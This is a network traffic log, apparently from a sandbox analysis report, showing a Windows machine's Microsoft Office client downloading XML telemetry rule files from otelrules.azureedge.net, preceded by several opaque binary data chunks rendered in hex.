2024-11-12 05:23:31 UTC	16384	IN	Data Raw: 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k
2024-11-12 05:23:31 UTC	16384	IN	Data Raw: eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 Data Ascii: &m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}
2024-11-12 05:23:31 UTC	16384	IN	Data Raw: d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsP
2024-11-12 05:23:31 UTC	16384	IN	Data Raw: 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a Data Ascii: U;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y
2024-11-12 05:23:31 UTC	16384	IN	Data Raw: d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 Data Ascii: _P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:30 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:30 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ab75edf1-a01e-003d-1da8-3498d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052330Z-15869dbbcc6tfpj2hC1DFW384c0000000930000000002eye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:30 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:30 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 81840efa-e01e-0085-3c5a-32c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052330Z-16547b76f7frbg6bhC1DFWr5400000000f4g000000006fwc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:30 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:30 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 100aec20-201e-006e-1215-2dbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052330Z-16547b76f7fkcrm9hC1DFWxdag0000000f8g00000000d3bq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:30 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:30 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: a4ba0423-501e-0029-6446-2cd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052330Z-16547b76f7f7jnp2hC1DFWfc300000000f7000000000avtw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:30 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:30 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: e1e7afd1-d01e-00ad-65a8-34e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052330Z-17df447cdb5vq4m4hC1DFW2t8w00000000u0000000009c0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:30 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:31 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4a1cb9ec-a01e-0021-5a00-2d814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052331Z-16547b76f7f4k79zhC1DFWu9y00000000f8g0000000079t8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:31 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052331Z-16547b76f7ftdm8dhC1DFWs13g0000000f70000000005und x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:31 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 29e284b5-001e-0065-5703-2d0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052331Z-16547b76f7fcrtpchC1DFW52e80000000fa0000000002bdd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:31 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052331Z-16547b76f7f7jnp2hC1DFWfc300000000fag000000001hea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
